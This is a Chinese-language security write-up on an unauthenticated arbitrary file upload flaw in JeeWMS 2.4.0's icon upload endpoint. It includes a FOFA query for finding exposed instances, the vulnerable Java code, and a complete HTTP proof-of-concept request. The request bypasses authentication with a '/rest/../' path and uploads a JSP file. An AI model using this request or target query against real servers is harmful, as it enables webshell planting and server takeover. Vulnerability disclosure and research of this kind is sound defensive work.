JeeWMS iconController.do 任意文件上传漏洞


漏洞简介

JeeWMS 是基于Java全栈技术打造的智能仓储中枢系统,具备多形态仓储场景深度适配能力(兼容3PL第三方物流与厂内物流双模式)。JeeWMS iconController.do 接口存在文件上传漏洞,未经身份攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个 web 服务器。

影响版本

2.4.0(2025-03-26 当前最新版)

fofa语法

body="url:userController.do?userOrgSelect&userId=" && "loginController.do?changeDefaultOrg"

漏洞分析

可以明显看到没有任何校验直接上传文件,且文件保存在 plug-in/accordion/images目录下

/**
     * 上传图标
     * 
     * @param request
     * @return
     * @throws Exception
     */
    @RequestMapping(params = "saveOrUpdateIcon", method = RequestMethod.POST)
    @ResponseBody
    public AjaxJson saveOrUpdateIcon(HttpServletRequest request) throws Exception {
        String message = null;
        AjaxJson j = new AjaxJson();        
        TSIcon icon = new TSIcon();
        Short iconType = oConvertUtils.getShort(request.getParameter("iconType"));
        String iconName = oConvertUtils.getString(request.getParameter("iconName"));
        String id = request.getParameter("id");
        icon.setId(id);
        icon.setIconName(iconName);
        icon.setIconType(iconType);
        // uploadFile.setBasePath("images/accordion");
        UploadFile uploadFile = new UploadFile(request, icon);
        uploadFile.setCusPath("plug-in/accordion/images");
        uploadFile.setExtend("extend");
        uploadFile.setTitleField("iconclas");
        uploadFile.setRealPath("iconPath");
        uploadFile.setObject(icon);
        uploadFile.setByteField("iconContent");
        uploadFile.setRename(false);
        systemService.uploadFile(uploadFile);
        // 图标的css样式
        String css = "." + icon.getIconClas() + "{background:url('../images/" + icon.getIconClas() + "." + icon.getExtend() + "') no-repeat}";
        write(request, css);
        message = MutiLangUtil.paramAddSuccess("common.icon");
        j.setMsg(message);
        return j;
    }

权限绕过部分 参考前一篇文章 JeeWMS commonController.do 任意文件上传漏洞(CVE-2024-57761)

漏洞复现

POST /rest/../iconController.do?saveOrUpdateIcon HTTP/1.1
Host: localhost
Content-Type: multipart/form-data; boundary=----123321

------123321
Content-Disposition: form-data; name="file"; filename="uid.jsp"
Content-Type: image/png

<%out.println(java.util.UUID.randomUUID().toString());new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
------123321--

访问文件 /plug-in/accordion/images/uid.jsp

成功打印 UUID 并删除自身。

PS : 其实这个洞 和 Jeecg 的 iconController 上传一模一样 ...

参考

  • https://gitee.com/erzhongxmu/JEEWMS

手机扫码阅读

用友NC viewPsnCard/download sql注入漏洞

JeeWMS commonController.do 任意文件上传漏洞(CVE-2024-57761)

评 论